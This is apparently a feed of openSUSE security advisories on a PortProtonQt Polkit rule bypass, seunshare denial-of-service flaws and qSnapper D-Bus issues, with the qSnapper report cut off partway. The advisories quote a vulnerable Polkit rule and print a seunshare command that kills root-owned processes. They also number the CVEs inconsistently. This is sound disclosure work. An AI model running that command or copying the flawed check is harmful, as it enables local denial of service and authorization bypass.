  <li><a href="#2-insecure-polkit-rule" id="markdown-toc-2-insecure-polkit-rule">2) Insecure Polkit Rule</a></li>
  <li><a href="#3-bugfix" id="markdown-toc-3-bugfix">3) Bugfix</a></li>
  <li><a href="#4-cve-assignment" id="markdown-toc-4-cve-assignment">4) CVE Assignment</a></li>
  <li><a href="#5-timeline" id="markdown-toc-5-timeline">5) Timeline</a></li>
  <li><a href="#6-references" id="markdown-toc-6-references">6) References</a></li>
</ul>

<h1 id="1-introduction">1) Introduction</h1>

<p><a href="https://github.com/Boria138/PortProtonQt">PortProtonQt</a> is a GUI application to simplify launching of Windows
games on Linux. A <a href="https://bugzilla.suse.com/show_bug.cgi?id=1270218">review of a custom Polkit rule</a> installed
by PortProtonQt uncovered an attack vector which allows arbitrary local users
to modify NetworkManager connections or UDisks2 mounts.</p>

<p>This report is based on <a href="https://github.com/Boria138/PortProtonQt/releases#release-v1.3.0">version 1.3.0</a> of PortProtonQt. A
bugfix is available in the newly released <a href="https://github.com/Boria138/PortProtonQt/releases/tag/v1.3.1">version 1.3.1</a>.</p>

<h1 id="2-insecure-polkit-rule">2) Insecure Polkit Rule</h1>

<p>PortProtonQt installs a Polkit <a href="https://github.com/Boria138/PortProtonQt/blob/v1.3.0/build-aux/share/polkit-1/rules.d/ru.linux_gaming.PortProtonQt.rules">rules file
<code class="language-plaintext highlighter-rouge">ru.linux_gaming.PortProtonQt.rules</code></a> containing the following
logic:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">cmd_line</span> <span class="o">=</span> <span class="nx">polkit</span><span class="p">.</span><span class="nf">spawn</span><span class="p">([</span><span class="dl">"</span><span class="s2">ps</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">-o</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">args=</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">-p</span><span class="dl">"</span><span class="p">,</span> <span class="nc">String</span><span class="p">(</span><span class="nx">subject</span><span class="p">.</span><span class="nx">pid</span><span class="p">)]);</span>
<span class="kd">var</span> <span class="nx">ppid</span> <span class="o">=</span> <span class="nx">polkit</span><span class="p">.</span><span class="nf">spawn</span><span class="p">([</span><span class="dl">"</span><span class="s2">ps</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">-o</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">ppid=</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">-p</span><span class="dl">"</span><span class="p">,</span> <span class="nc">String</span><span class="p">(</span><span class="nx">subject</span><span class="p">.</span><span class="nx">pid</span><span class="p">)]).</span><span class="nf">trim</span><span class="p">();</span>
<span class="kd">var</span> <span class="nx">parent_cmd_line</span> <span class="o">=</span> <span class="dl">""</span><span class="p">;</span>
<span class="k">if </span><span class="p">(</span><span class="nx">ppid</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">parent_cmd_line</span> <span class="o">=</span> <span class="nx">polkit</span><span class="p">.</span><span class="nf">spawn</span><span class="p">([</span><span class="dl">"</span><span class="s2">ps</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">-o</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">args=</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">-p</span><span class="dl">"</span><span class="p">,</span> <span class="nx">ppid</span><span class="p">]);</span>
<span class="p">}</span>
<span class="kd">var</span> <span class="nx">is_ppqt_call</span> <span class="o">=</span> <span class="nx">cmd_line</span><span class="p">.</span><span class="nf">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">ppqtos</span><span class="dl">"</span><span class="p">)</span> <span class="o">||</span> <span class="nx">parent_cmd_line</span><span class="p">.</span><span class="nf">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">ppqtos</span><span class="dl">"</span><span class="p">);</span>

<span class="k">if </span><span class="p">((</span> <span class="nx">action</span><span class="p">.</span><span class="nx">id</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">org.freedesktop.NetworkManager.settings.modify.system</span><span class="dl">"</span> <span class="o">||</span>
        <span class="nx">action</span><span class="p">.</span><span class="nx">id</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">org.freedesktop.udisks2.filesystem-mount-system</span><span class="dl">"</span> <span class="o">||</span>
        <span class="nx">action</span><span class="p">.</span><span class="nx">id</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">org.freedesktop.udisks2.filesystem-mount-other-seat</span><span class="dl">"</span> <span class="o">||</span>
        <span class="nx">action</span><span class="p">.</span><span class="nx">id</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">org.freedesktop.udisks2.filesystem-unmount-others</span><span class="dl">"</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nx">is_ppqt_call</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">polkit</span><span class="p">.</span><span class="nx">Result</span><span class="p">.</span><span class="nx">YES</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The code inspects the requesting process’s command line as reported by the
<code class="language-plaintext highlighter-rouge">ps</code> utility, aiming to grant additional privileges to the <code class="language-plaintext highlighter-rouge">ppqtos</code> program.
This is on one hand subject to race conditions, because the PID used by the
requestor can be recycled or replaced by other programs by the time the Polkit
rule runs. On the other hand, the process command line can be influenced
arbitrarily to fake a <code class="language-plaintext highlighter-rouge">ppqtos</code> process.</p>

<p>We developed a simple <a href="/download/portprotonqt-reproducer.gz">shell script reproducer</a> which
shows that the exploitation of this vulnerability is simple and always
succeeds. The vulnerability allows arbitrary local users to meddle with the
network settings via NetworkManager and mount/unmount file systems via udisks.
We could not spot a full local root exploit in that, although it is getting
close. The impact is mostly Denial-of-Service and system integrity:</p>

<ul>
  <li>arbitrary block devices can be mounted (but not in arbitrary locations, only
under <code class="language-plaintext highlighter-rouge">/run/media</code>).</li>
  <li>arbitrary block devices can be unmounted (unless in use, but independent of
their mount location).</li>
  <li>arbitrary NetworkManager connections can be removed and created, violating
network integrity.</li>
</ul>

<h1 id="3-bugfix">3) Bugfix</h1>

<p>Upstream fixed the issue in <a href="https://github.com/Boria138/PortProtonQt/commit/f0ab40a2dab36ce91bc7e1b13d8d4ea220e5107c">commit f0ab40a2d</a> which is part of
a <a href="https://github.com/Boria138/PortProtonQt/releases/tag/v1.3.1">1.3.1 bugfix release</a>. Upstream followed our suggestion to
allow these extra Polkit actions only for users in an active local session
which are members of a dedicated <code class="language-plaintext highlighter-rouge">portprotonqt</code> group. This way the
authentication bypass is restricted to interactive users that opt-in to using
this feature.</p>

<p>The issue was introduced in PortProtonQt <a href="https://github.com/Boria138/PortProtonQt/releases/tag/v0.1.12">version 0.1.12</a>
via <a href="https://github.com/Boria138/PortProtonQt/commit/71a8ebd89a503e692cdc6b40777e8cc22393c87b">commit 71a8ebd89</a>.</p>

<h1 id="4-cve-assignment">4) CVE Assignment</h1>

<p>In agreement with upstream we assigned CVE-2026-59676 to track this issue.</p>

<h1 id="5-timeline">5) Timeline</h1>

<table>
  <tbody>
    <tr>
      <td>2026-07-06</td>
      <td>We reached out to the lead developer of PortProtonQt via email, offering coordinated disclosure.</td>
    </tr>
    <tr>
      <td>2026-07-10</td>
      <td>With no response, we sent a follow-up email asking for feedback until July 17 lest we publish without coordination.</td>
    </tr>
    <tr>
      <td>2026-07-15</td>
      <td>Still without reply we reached out to yet another developer documented in the upstream README.md, asking whether the lead developer contact is still valid.</td>
    </tr>
    <tr>
      <td>2026-07-15</td>
      <td>We got a response pointing out that the Polkit rules file needs not to be installed for the package to function, but no details regarding the coordinated disclosure or a bugfix.</td>
    </tr>
    <tr>
      <td>2026-07-16</td>
      <td>We sent the full report once more to the second mail contact, pointing out that a security issue is at hand.</td>
    </tr>
    <tr>
      <td>2026-07-16</td>
      <td>Upstream informed us about <a href="https://github.com/Boria138/PortProtonQt/commit/f0ab40a2dab36ce91bc7e1b13d8d4ea220e5107c">the public bugfix</a>, implying that no coordinated disclosure is desired. Upstream also asked us to assign a CVE for the issue.</td>
    </tr>
    <tr>
      <td>2026-07-17</td>
      <td>We assigned CVE-2026-59678 and shared it with upstream.</td>
    </tr>
    <tr>
      <td>2026-07-22</td>
      <td>Publication of this report.</td>
    </tr>
  </tbody>
</table>

<h1 id="6-references">6) References</h1>

<ul>
  <li><a href="https://github.com/Boria138/PortProtonQt">PortProtonQt GitHub project</a></li>
  <li><a href="https://github.com/Boria138/PortProtonQt/releases/tag/v1.3.1">PortProtonQt 1.3.1 bugfix release</a></li>
  <li><a href="https://bugzilla.suse.com/show_bug.cgi?id=1270218">openSUSE review bug for PortProtonQT Polkit rule</a></li>
  <li><a href="/download/portprotonqt-reproducer.gz">Reproducer for the issue</a></li>
</ul>]]></content><author><name>&lt;a href=&apos;mailto:matthias.gerstner@suse.de&apos;&gt;Matthias Gerstner&lt;/a&gt;, &lt;a href=&apos;mailto:filippo.bonazzi@suse.com&apos;&gt;Filippo Bonazzi (editor)&lt;/a&gt;</name></author><category term="Polkit" /><category term="CVE" /><summary type="html"><![CDATA[PortProtonQt is a GUI application to simplify launching of Windows games on Linux. A review of a custom Polkit rule installed by PortProtonQt uncovered an attack vector which allows arbitrary local users to modify NetworkManager connections or UDisks2 mounts.]]></summary></entry><entry><title type="html">SELinux Userspace Utilities: Local Denial-of-Service Attack Vectors in seunshare in release 3.10</title><link href="https://security.opensuse.org/2026/07/15/selinux-seunshare.html" rel="alternate" type="text/html" title="SELinux Userspace Utilities: Local Denial-of-Service Attack Vectors in seunshare in release 3.10" /><published>2026-07-15T00:00:00+00:00</published><updated>2026-07-15T00:00:00+00:00</updated><id>https://security.opensuse.org/2026/07/15/selinux-seunshare</id><content type="html" xml:base="https://security.opensuse.org/2026/07/15/selinux-seunshare.html"><![CDATA[<h1 class="no_toc" id="table-of-contents">Table of Contents</h1>

<ul id="markdown-toc">
  <li><a href="#1-introduction" id="markdown-toc-1-introduction">1) Introduction</a></li>
  <li><a href="#2-design-overview" id="markdown-toc-2-design-overview">2) Design Overview</a></li>
  <li><a href="#3-security-issues" id="markdown-toc-3-security-issues">3) Security Issues</a>    <ul>
      <li><a href="#section-issue-rmrf" id="markdown-toc-section-issue-rmrf">3.1) Local File Deletion Attack Vector in <code class="language-plaintext highlighter-rouge">rm_rf()</code> (CVE-2026-59676)</a></li>
      <li><a href="#section-issue-killall" id="markdown-toc-section-issue-killall">3.2) Process Kill Attack Vector in <code class="language-plaintext highlighter-rouge">killall()</code> (CVE-2026-59677)</a></li>
    </ul>
  </li>
  <li><a href="#4-remaining-concerns" id="markdown-toc-4-remaining-concerns">4) Remaining Concerns</a></li>
  <li><a href="#section-cve-assignments" id="markdown-toc-section-cve-assignments">5) CVE Assignments</a></li>
  <li><a href="#6-timeline" id="markdown-toc-6-timeline">6) Timeline</a></li>
  <li><a href="#7-references" id="markdown-toc-7-references">7) References</a></li>
  <li><a href="#8-change-history" id="markdown-toc-8-change-history">8) Change History</a></li>
</ul>

<h1 id="1-introduction">1) Introduction</h1>

<p>The <a href="https://man7.org/linux/man-pages/man8/seunshare.8.html"><code class="language-plaintext highlighter-rouge">seunshare</code> program</a> is part of the <a href="https://github.com/SELinuxProject/selinux">SELinux</a>
“sandbox” feature, which is used to confine untrusted programs using Linux
mount namespaces and restrictive SELinux policies. The program is designed to
be installed with setuid-root privileges, accessible to all users in the
system.</p>

<p>We have been asked to <a href="https://bugzilla.suse.com/show_bug.cgi?id=1268256">review the program’s security</a> with the
intention of assigning the setuid bit to it on SUSE distributions
in the future. Fedora Linux already ships this program with setuid-root
enabled; other SELinux-enabled Linux distributions may do so as well.</p>

<p>During our review of the <a href="https://github.com/SELinuxProject/selinux/blob/3.10/sandbox/seunshare.c">utility’s code</a> in <a href="https://github.com/SELinuxProject/selinux/releases/tag/3.10">version
3.10</a> of the SELinux userspace utilities we identified two
local Denial-of-Service attack vectors, which will be described in detail in
the following sections. Upstream independently fixed these issues in <a href="https://github.com/SELinuxProject/selinux/releases/tag/3.11">version
3.11</a>, without clearly marking them as security issues, however.</p>

<p>The rest of this report is based on version 3.10 of the codebase of
<code class="language-plaintext highlighter-rouge">seunshare</code>.</p>

<h1 id="2-design-overview">2) Design Overview</h1>

<p>The <code class="language-plaintext highlighter-rouge">seunshare</code> program is relatively small, consisting of about 1,000 lines of
C code. The elevated <code class="language-plaintext highlighter-rouge">root</code> privileges are primarily needed to setup a custom
mount namespace for the sandbox environment.</p>

<p>The program accepts a range of command line arguments which, among others,
allow to request dedicated directories to be used for the following paths
inside the sandbox:</p>

<ul>
  <li>the user’s home directory.</li>
  <li>the <code class="language-plaintext highlighter-rouge">/tmp</code> directory.</li>
  <li>the <code class="language-plaintext highlighter-rouge">/run/user/&lt;uid&gt;</code> directory.</li>
</ul>

<p>For the <code class="language-plaintext highlighter-rouge">/run</code> and <code class="language-plaintext highlighter-rouge">/tmp</code> directories, the source paths specified by the user
are copied into a random temporary directory in the initial mount namespace
under <code class="language-plaintext highlighter-rouge">/tmp/.sandbox-&lt;label&gt;-XXXXXX</code> using the <code class="language-plaintext highlighter-rouge">rsync</code> program. These
directories are then bind-mounted into the sandbox’s mount namespace to appear
at the expected locations.</p>

<p>A lot of code in <code class="language-plaintext highlighter-rouge">seunshare</code> is concerned with securely maintaining these
temporary directories. To allow the sandbox environment to modify the directory
contents, <code class="language-plaintext highlighter-rouge">seunshare</code> assigns group write permissions for the real group ID of
the calling user, as shown in this example:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drwxrwx--T. 2 root user 80 Jul  8 16:11 /tmp/.sandbox-user-OaxmUp/
</code></pre></div></div>

<p>To safely access user-provided paths, the program flips its <a href="https://man7.org/linux/man-pages/man2/setfsuid.2.html">filesystem
UID</a> to the real UID of the calling user and back to <code class="language-plaintext highlighter-rouge">root</code>, as
needed.</p>

<h1 id="3-security-issues">3) Security Issues</h1>

<p>Since <code class="language-plaintext highlighter-rouge">seunshare</code> is supposed to run on SELinux-enabled systems, it is
important to understand what kind of privilege escalation can be achieved when
vulnerabilities are exploited in a setuid-root binary like this. Many
SELinux-enabled systems, such as Fedora and openSUSE, ship with the “targeted”
SELinux policy by default. This policy is focused on confining well-known
system services, but assigns an unconfined SELinux context to interactive
users by default to achieve a balance between security and usability.</p>

<p>There is currently no domain transition from the unconfined domain to the more
restricted <code class="language-plaintext highlighter-rouge">seunshare_t</code> defined in the SELinux policy for <code class="language-plaintext highlighter-rouge">seunshare</code>. This
means the execution of <code class="language-plaintext highlighter-rouge">seunshare</code> continues in the unconfined domain. Thus in
the context of attacks carried out by interactive users, the impact of the
vulnerabilities below will be a root-like privilege escalation despite the
system running in SELinux enforced mode.</p>

<h2 id="section-issue-rmrf">3.1) Local File Deletion Attack Vector in <code class="language-plaintext highlighter-rouge">rm_rf()</code> (CVE-2026-59676)</h2>

<p>The function <a href="https://github.com/SELinuxProject/selinux/blob/ca10fc4204ed60540d41d2499127c18ad0643f9e/sandbox/seunshare.c#L419"><code class="language-plaintext highlighter-rouge">rm_rf()</code></a> is called at the end of the utility’s
execution to recursively remove temporary directory trees. While a comment in
the function suggests that no symbolic links would be followed by this
routine, the reality is that the <a href="https://github.com/SELinuxProject/selinux/blob/ca10fc4204ed60540d41d2499127c18ad0643f9e/sandbox/seunshare.c#L431"><code class="language-plaintext highlighter-rouge">openat()</code></a> system call is
lacking the <code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code> flag. This creates a race condition during the
recursion of the <code class="language-plaintext highlighter-rouge">rm_rf()</code> function:</p>

<ul>
  <li>first an <code class="language-plaintext highlighter-rouge">fstatat()</code> is performed for directory contents obtained from
<code class="language-plaintext highlighter-rouge">readdir()</code> to safely determine whether an entry refers to a sub-directory.</li>
  <li>when a directory is encountered the unsafe <code class="language-plaintext highlighter-rouge">openat()</code> happens, allowing
the unprivileged user to replace the directory entry by a symbolic link in
the meantime. While the <code class="language-plaintext highlighter-rouge">O_DIRECTORY</code> flag is passed to <code class="language-plaintext highlighter-rouge">openat()</code>, symbolic
links in the target are still followed, as long as they point to a directory.</li>
</ul>

<p>When the user calling <code class="language-plaintext highlighter-rouge">seunshare</code> is running in the unconfined SELinux domain,
arbitrary <code class="language-plaintext highlighter-rouge">root</code>-owned files can be deleted this way. The vulnerability does
not allow to delete arbitrary files of other users, however, because
<code class="language-plaintext highlighter-rouge">seunshare</code> <a href="https://github.com/SELinuxProject/selinux/blob/ca10fc4204ed60540d41d2499127c18ad0643f9e/sandbox/seunshare.c#L1069">drops all capabilities</a> before calling <code class="language-plaintext highlighter-rouge">rm_rf()</code>.
This leaves the process in a somewhat strange state of privilege: it can no
longer override discretionary access control (DAC) but it is still allowed to
operate on files owned by the filesystem-uid of the privileged process, which
is 0 during the invocation of <code class="language-plaintext highlighter-rouge">rm_rf()</code>.</p>

<p>We developed a <a href="/download/seunshare-reproducer.tar.gz">reproducer</a> for this issue, which succeeds
in executing the exploit quickly after some fine tuning of the timing for
the target system. We verified that the reproducer works on current openSUSE
Tumbleweed with policycoreutils 3.10 and the setuid-root bit enabled on
<code class="language-plaintext highlighter-rouge">seunshare</code>. It does not work on current Fedora 44, as it seems Fedora
backported a patch to fix this issue (it passes <code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code> to the <code class="language-plaintext highlighter-rouge">openat()</code>
call in question).</p>

<p>Upstream fixed this issue in commit <a href="https://github.com/SELinuxProject/selinux/commit/38f0a4d9a683f2cd2472d4502842df5d5b8255a8">38f0a4d9a</a> which is
part of of the 3.11 upstream release.</p>

<h2 id="section-issue-killall">3.2) Process Kill Attack Vector in <code class="language-plaintext highlighter-rouge">killall()</code> (CVE-2026-59677)</h2>

<p><code class="language-plaintext highlighter-rouge">seunshare</code> offers <code class="language-plaintext highlighter-rouge">--kill</code> and <code class="language-plaintext highlighter-rouge">-Z</code> switches as documented in its man page:</p>

<pre><code class="language-man">-k --kill
       Kill all processes with matching MCS level

-Z context
       Use alternate SELinux context while running the executable
</code></pre>

<p>Both switches combined cause the <a href="https://github.com/SELinuxProject/selinux/blob/ca10fc4204ed60540d41d2499127c18ad0643f9e/sandbox/seunshare.c#L662"><code class="language-plaintext highlighter-rouge">killall()</code></a> function to kill
all processes running with the user-provided SELinux context. This does not
fully work for arbitrary target processes due to SELinux access control;
however, if the calling user is running in unconfined context (as explained
previously) it allows to kill e.g. <code class="language-plaintext highlighter-rouge">root</code>-owned processes running also in
unconfined context. Once the algorithm reaches its own PID (if the context
matches), it kills itself, thus it is possible that only a certain range of
PIDs can be killed this way depending on the PID selection order of the
algorithm in <code class="language-plaintext highlighter-rouge">killall()</code>.</p>

<p>We have been able to reproduce the issue both on openSUSE and on Fedora 44
using a command line like this:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>seunshare <span class="nt">--kill</span> <span class="nt">-Z</span> unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 <span class="nt">-t</span> ~/some-dir/ <span class="nt">--</span> /usr/bin/true
</code></pre></div></div>

<p>Upstream fixed this issue by dropping the <code class="language-plaintext highlighter-rouge">--kill</code> switch and the <code class="language-plaintext highlighter-rouge">killall()</code>
function in commit <a href="https://github.com/SELinuxProject/selinux/commit/572db2fae9157ae620160e0d7b2c3f8b75fe6c1a">572db2fa</a>.</p>

<h1 id="4-remaining-concerns">4) Remaining Concerns</h1>

<p>The code of <code class="language-plaintext highlighter-rouge">seunshare</code> has seen major changes between version 3.10 and
3.11 of the SELinux userspace utilities. The new version of the program improves
on various aspects of the code; generally the code shows awareness of various
filesystem-related security concerns that are relevant for setuid-root
binaries. Still a number of concerns remain:</p>

<ul>
  <li>Data which is modified in temporary directories within the sandbox is
<a href="https://github.com/SELinuxProject/selinux/blob/ca10fc4204ed60540d41d2499127c18ad0643f9e/sandbox/seunshare.c#L484">transparently copied back</a> into the calling user’s source
directory via <code class="language-plaintext highlighter-rouge">rsync</code>. Since the program is untrusted it can potentially
create all kinds of dangerous files, which will now reside e.g. in the user’s
regular home directory and could lead to security issues at a later time when
accessed without care.</li>
  <li>The code flips the filesystem UID a lot to temporarily drop root
privileges for file operations. This logic is hard to follow in parts and
leaves the process in an unusual state of privilege, as the effective UID is
still 0; during the first stages of the program it also still has all
capabilities. Due to the filesystem UID being set to the real user’s UID, file
operations are carried out using the calling user’s lower privileges, however.
From a design point of view it would be preferable to let the process operate
in an unprivileged state by default (effective UID and GID set to the real
UID and GID). Privileges could then be raised for the few operations that
actually need <code class="language-plaintext highlighter-rouge">root</code> privileges.</li>
  <li>The code currently lacks some common security precautions for setuid-root
programs:
    <ul>
      <li>while a new environment variable block is set up to execute the untrusted
target program, the privileged parent process keeps the untrusted
environment variables of the calling user in place. These are also
inherited to tools like <code class="language-plaintext highlighter-rouge">rsync</code> that are invoked for the purposes of
setting up the sandbox. While this is not an issue at the moment, it could
turn into a security issue at a later time when the code changes.</li>
      <li>the <code class="language-plaintext highlighter-rouge">umask()</code> of the process is also kept unchanged, inheriting whatever
the unprivileged parent process configured. This can cause files to
receive world-readable or world-writable bits leading to unexpected attack
vectors.</li>
    </ul>
  </li>
</ul>

<h1 id="section-cve-assignments">5) CVE Assignments</h1>

<p>We approached the upstream SELinux userspace utilities developers and
suggested to assign CVEs for the two issues discussed above. Upstream informed
us that they don’t take care of CVE assignment themselves, however. Since Red
Hat developers are also involved with upstream development, we were waiting
for an agreement on who will assign CVEs to avoid duplicates. On 2026-07-17,
after the initial publication of this report, we received a response that
there is no intention by RedHat developers to assign CVEs. As a result we
assigned CVEs on our end as documented in the updated blog post.</p>

<h1 id="6-timeline">6) Timeline</h1>

<table>
  <tbody>
    <tr>
      <td>2026-07-03</td>
      <td>We (mistakenly) approached the SELinux kernel code maintainer, asking for CVE assignments for these issues which have meanwhile been fixed in the 3.11 upstream release.</td>
    </tr>
    <tr>
      <td>2026-07-03</td>
      <td>The SELinux kernel code maintainer forwarded our report to the maintainers of the userspace utilities.</td>
    </tr>
    <tr>
      <td>2026-07-06</td>
      <td>An SELinux userspace developer informed us that the project is not actively assigning CVEs.</td>
    </tr>
    <tr>
      <td>2026-07-07</td>
      <td>We responded that we would be able to assign CVEs on our end, but would like to avoid a clash with any CVE assignment plans on the end of Red Hat developers working on SELinux. We thus asked for clarification of who will take care of it.</td>
    </tr>
    <tr>
      <td>2026-07-15</td>
      <td>Publication of this report.</td>
    </tr>
    <tr>
      <td>2026-07-17</td>
      <td>We received a reply from a RedHat upstream developer stating that there is no intention to assign CVEs on their end. Thus we assigned CVE-2026-59676 for <a href="#section-issue-rmrf">issue 3.1</a> and CVE-2026-59677 for <a href="#section-issue-killall">issue 3.2</a> and published the information.</td>
    </tr>
  </tbody>
</table>

<h1 id="7-references">7) References</h1>

<ul>
  <li><a href="https://github.com/SELinuxProject/selinux/releases/tag/3.11">SElinux userspace utilities bugfix release 3.11</a></li>
  <li><a href="https://github.com/SELinuxProject/selinux">SELinux userspace utilities Github project</a></li>
  <li><a href="https://github.com/SELinuxProject/selinux/blob/3.10/sandbox/seunshare.c">vulnerable seunshare code in upstream release 3.10</a></li>
  <li><a href="/download/seunshare-reproducer.tar.gz">Reproducer for the file delete issue</a></li>
</ul>

<h1 id="8-change-history">8) Change History</h1>

<table>
  <tbody>
    <tr>
      <td>2026-07-17</td>
      <td>Added information about the <a href="#section-cve-assignments">CVEs</a> we assigned for the issues.</td>
    </tr>
  </tbody>
</table>]]></content><author><name>&lt;a href=&apos;mailto:matthias.gerstner@suse.de&apos;&gt;Matthias Gerstner&lt;/a&gt;, &lt;a href=&apos;mailto:filippo.bonazzi@suse.com&apos;&gt;Filippo Bonazzi (editor)&lt;/a&gt;</name></author><category term="setuid" /><category term="CVE" /><summary type="html"><![CDATA[seunshare is a setuid-root utility used for sandboxing untrusted applications based on Linux namespaces and SELinux policies. During a code review we identified two local Denial-of-Service attack vectors in version 3.10 of the utility.]]></summary></entry><entry><title type="html">qSnapper: Various Security Issues in Privileged D-Bus Service (CVE-2026-41045 through CVE-2026-41048)</title><link href="https://security.opensuse.org/2026/05/26/qsnapper-dbus-issues.html" rel="alternate" type="text/html" title="qSnapper: Various Security Issues in Privileged D-Bus Service (CVE-2026-41045 through CVE-2026-41048)" /><published>2026-05-26T00:00:00+00:00</published><updated>2026-05-26T00:00:00+00:00</updated><id>https://security.opensuse.org/2026/05/26/qsnapper-dbus-issues</id><content type="html" xml:base="https://security.opensuse.org/2026/05/26/qsnapper-dbus-issues.html"><![CDATA[<h1 class="no_toc" id="table-of-contents">Table of Contents</h1>

<ul id="markdown-toc">
  <li><a href="#1-introduction" id="markdown-toc-1-introduction">1) Introduction</a></li>
  <li><a href="#2-overview-of-the-qsnapper-d-bus-service" id="markdown-toc-2-overview-of-the-qsnapper-d-bus-service">2) Overview of the qSnapper D-Bus Service</a></li>
  <li><a href="#3-security-issues" id="markdown-toc-3-security-issues">3) Security Issues</a>    <ul>
      <li><a href="#issue-polkit-bypass" id="markdown-toc-issue-polkit-bypass">3.1) Weak Polkit Authentication Check is Subject to Race Condition (CVE-2026-41045)</a></li>
      <li><a href="#issue-path-traversal" id="markdown-toc-issue-path-traversal">3.2) Path Traversal via <code class="language-plaintext highlighter-rouge">configName</code> Parameter (CVE-2026-41046)</a></li>
      <li><a href="#issue-info-leak" id="markdown-toc-issue-info-leak">3.3) Information Leak via “diff” Methods (CVE-2026-41047)</a></li>
      <li><a href="#issue-auth-caching" id="markdown-toc-issue-auth-caching">3.4) Caching of Authentication allows Authentication Bypass (CVE-2026-41048, CVE-2026-41049)</a></li>
      <li><a href="#issue-defense-in-depth" id="markdown-toc-issue-defense-in-depth">3.5) Defense-in-Depth Issues when Restoring Arbitrary Files</a></li>
      <li><a href="#issue-other" id="markdown-toc-issue-other">3.6) Other Issues</a></li>
    </ul>
  </li>
  <li><a href="#upstream-bugfixes" id="markdown-toc-upstream-bugfixes">4) Upstream Bugfixes</a></li>
  <li><a href="#5-disclosure-process" id="markdown-toc-5-disclosure-process">5) Disclosure Process</a></li>
  <li><a href="#6-timeline" id="markdown-toc-6-timeline">6) Timeline</a></li>
  <li><a href="#7-references" id="markdown-toc-7-references">7) References</a></li>
  <li><a href="#change-history" id="markdown-toc-change-history">Change History</a></li>
</ul>

<h1 id="1-introduction">1) Introduction</h1>

<p><a href="https://github.com/presire/qSnapper.git">qSnapper</a> is a GUI frontend for the
<a href="http://snapper.io/overview.html">snapper</a> utility for managing Btrfs filesystem snapshots.
In April we received <a href="https://bugzilla.suse.com/show_bug.cgi?id=1261537">a review request</a> for qSnapper, because it
contains a privileged D-Bus service and Polkit policies.</p>

<p>Normally, Btrfs snapshots can only be managed with root privileges. qSnapper aims to
provide more user-friendly and fine-grained access to snapshot management
features, based on a privileged daemon which utilizes D-Bus and Polkit. Our
review of the service uncovered various security issues, which led to
a longer coordinated disclosure to allow upstream to develop bugfixes, which
are part of upstream <a href="https://github.com/presire/qSnapper/releases/tag/v1.3.3">release 1.3.3</a>.</p>

<p>The full details of the security issues will be covered in the sections
below. The original review was performed on <a href="https://github.com/presire/qSnapper/releases/tag/v1.1.3">qSnapper release
1.1.3</a>. Since bigger upstream changes appeared in the
meantime this report is based on <a href="https://github.com/presire/qSnapper/releases/tag/v1.3.2">qSnapper release 1.3.2</a>,
however.</p>

<h1 id="2-overview-of-the-qsnapper-d-bus-service">2) Overview of the qSnapper D-Bus Service</h1>

<p>The qSnapper project contains a daemon named <code class="language-plaintext highlighter-rouge">qsnapper-dbus-service</code>, which
runs with full root privileges. The daemon provides the D-Bus interface
“com.presire.qsnapper.Operations” on the system bus; some of its methods
are provided to arbitrary users in the system without authentication, while the
majority of them is protected by Polkit authentication checks. The
implementation of the various D-Bus methods offered by the service is found in
<a href="https://github.com/presire/qSnapper/blob/v1.3.2/src/dbusservice/snapshotoperations.cpp"><code class="language-plaintext highlighter-rouge">snapshotoperations.cpp</code></a>. All of the security issues
outlined below are located in this compilation unit.</p>

<h1 id="3-security-issues">3) Security Issues</h1>

<h2 id="issue-polkit-bypass">3.1) Weak Polkit Authentication Check is Subject to Race Condition (CVE-2026-41045)</h2>

<p>The <a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L449"><code class="language-plaintext highlighter-rouge">SnapshotOperations::checkAuthorization()</code></a>
function uses Polkit’s <code class="language-plaintext highlighter-rouge">UnixProcess</code> subject in an unsafe way to authenticate
clients. The code obtains the client’s PID from the active D-Bus connection,
which leads to a race condition. At the time the Polkit daemon (<code class="language-plaintext highlighter-rouge">polkitd</code>)
checks the provided PID, the process in question can already have been
replaced by another, privileged process. This is a well-known class of Polkit
authentication bypasses which was assigned <a href="https://nvd.nist.gov/vuln/detail/CVE-2013-4288">CVE-2013-4288</a>.</p>

<p>In effect this means that clients may be able to bypass all Polkit
authentication checks performed by qSnapper, although the attack is somewhat
complex and might need multiple attempts to succeed. There is nothing stopping
a local attacker from doing that, however. In combination with the <a href="#issue-path-traversal">configuration
path traversal in D-Bus methods</a> like
<code class="language-plaintext highlighter-rouge">WriteSnapperConfig()</code> described below, this can be used to achieve a full
local root exploit.</p>

<p>To fix this, we suggested to use Polkit’s <code class="language-plaintext highlighter-rouge">SystemBusName</code> subject instead. With
this subject, the D-Bus daemon obtains the client’s UID in a race-free fashion
from the UNIX domain socket the client used to connect, and <code class="language-plaintext highlighter-rouge">polkitd</code> cannot be
fooled by recycled PIDs.</p>

<h2 id="issue-path-traversal">3.2) Path Traversal via <code class="language-plaintext highlighter-rouge">configName</code> Parameter (CVE-2026-41046)</h2>

